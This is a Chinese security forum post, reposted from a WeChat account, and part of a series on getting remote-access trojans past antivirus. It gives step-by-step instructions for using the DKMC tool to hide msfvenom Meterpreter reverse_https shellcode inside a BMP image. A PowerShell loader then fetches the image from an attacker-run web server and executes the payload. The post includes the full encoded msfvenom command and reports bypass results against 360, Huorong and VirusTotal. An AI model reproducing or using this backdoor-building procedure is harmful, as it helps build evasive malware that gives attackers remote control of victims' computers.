安全矩阵

 找回密码
 立即注册
搜索
查看: 2405|回复: 0

远控免杀专题(15)-DKMC免杀(VT免杀率8/55)

[复制链接]

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
发表于 2020-3-8 01:01:59 | 显示全部楼层 |阅读模式
本帖最后由 Pluto 于 2020-3-8 01:06 编辑

转自微信公众号:Tide安全团队
免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、DKMC介绍
DKMC是Don't Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的...DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。
二、安装DKMC
安装比较简单
  1. $ git clone https://github.com/Mr-Un1k0d3r/DKMC
  2. $ cd DKMC
  3. $ mkdir output
复制代码

执行python dkmc.py即可
三、DKMC使用说明
执行python dkmc.py后可以看到5个选项,
  1. [*] (gen)        Generate a malicious BMP image  
  2. [*] (web)        Start a web server and deliver malicious image
  3. [*] (ps)        Generate Powershell payload
  4. [*] (sc)        Generate shellcode from raw file
  5. [*] (exit)        Quit the application
复制代码
翻译一下
  1. [*] (gen)        将msf的shellcode注入到一个BMP图像
  2. [*] (web)        启动web服务用来分发BMP图像
  3. [*] (ps)        生成ps的payload
  4. [*] (sc)        将msf生成的raw文件转为shellcode
  5. [*] (exit)        退出
复制代码

这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。
生成一个后门的流程大体为:
1、先利用msf生成raw文件
2、利用sc讲raw文件转换为shellcode
3、利用gen将上一步的shellcode注入到一个BMP图像
4、利用ps生成基于powershell的BMP文件的payload
5、利用web提供的简单web服务进行分发BMP文件
4和5看起来有点乱,下面我演示一下就很容易明白了。

四、利用DKMC生成后门
1、先利用Msf生成raw格式的shellcode,稍微编码了一下

  1. msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw
复制代码


2、在主菜单中选择sc,然后设置source为/root/test15.raw,再执行run生成shellcode。
复制一下生成的shellcode,输入exit退回到主菜单。
3、在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode。
其他默认即可,执行run生成图像。
看到生成了output-1577907077.bmp图像文件,输入exit退回到主菜单。
4、在主菜单中选择ps,设置url地址,这个url地址就是web分发图像文件的地址。
我的parrot虚拟机的地址为10.211.55.24,我打算用默认的80端口,这样我的url地址为http://10.211.55.24/output-1577907077.bmp
使用命令set url ,然后执行run生成powershell执行脚本。
复制一下生成的ps代码,输入exit退回到主菜单。
5、最后一步,在主菜单中选择web,使用默认80端口,执行run即可。
访问虚拟机的80端口

图像可以正常打开
6、在我的测试机器上执行第4步生成的ps代码,不开杀软的时候可正常上线
我将ps执行代码中的-w hidden先去掉,这样可以看得直观一些

7、打开杀软进行测试
静态查杀都通过
在执行powershell代码时,火绒和360卫士会拦截报警,360杀毒没有反应

virustotal.com上BMP文件的查杀率为5/55,查杀出来为BMP木马


virustotal.com上ps代码的查杀率为8/55,判断ps下载行为
四、小结
DKMC主要把shellcode注入到bmp图像中,然后使用powershell来执行其中的shellcode,但是很多杀软都会监powershell的执行动作,所以virustotal.com的静态检测不足以说明什么。其实还可以进一步对ps执行代码进行混淆免杀,这一点后续文章还会涉及这里就不展开说了。
参考

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-2-17 21:09 , Processed in 0.019497 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表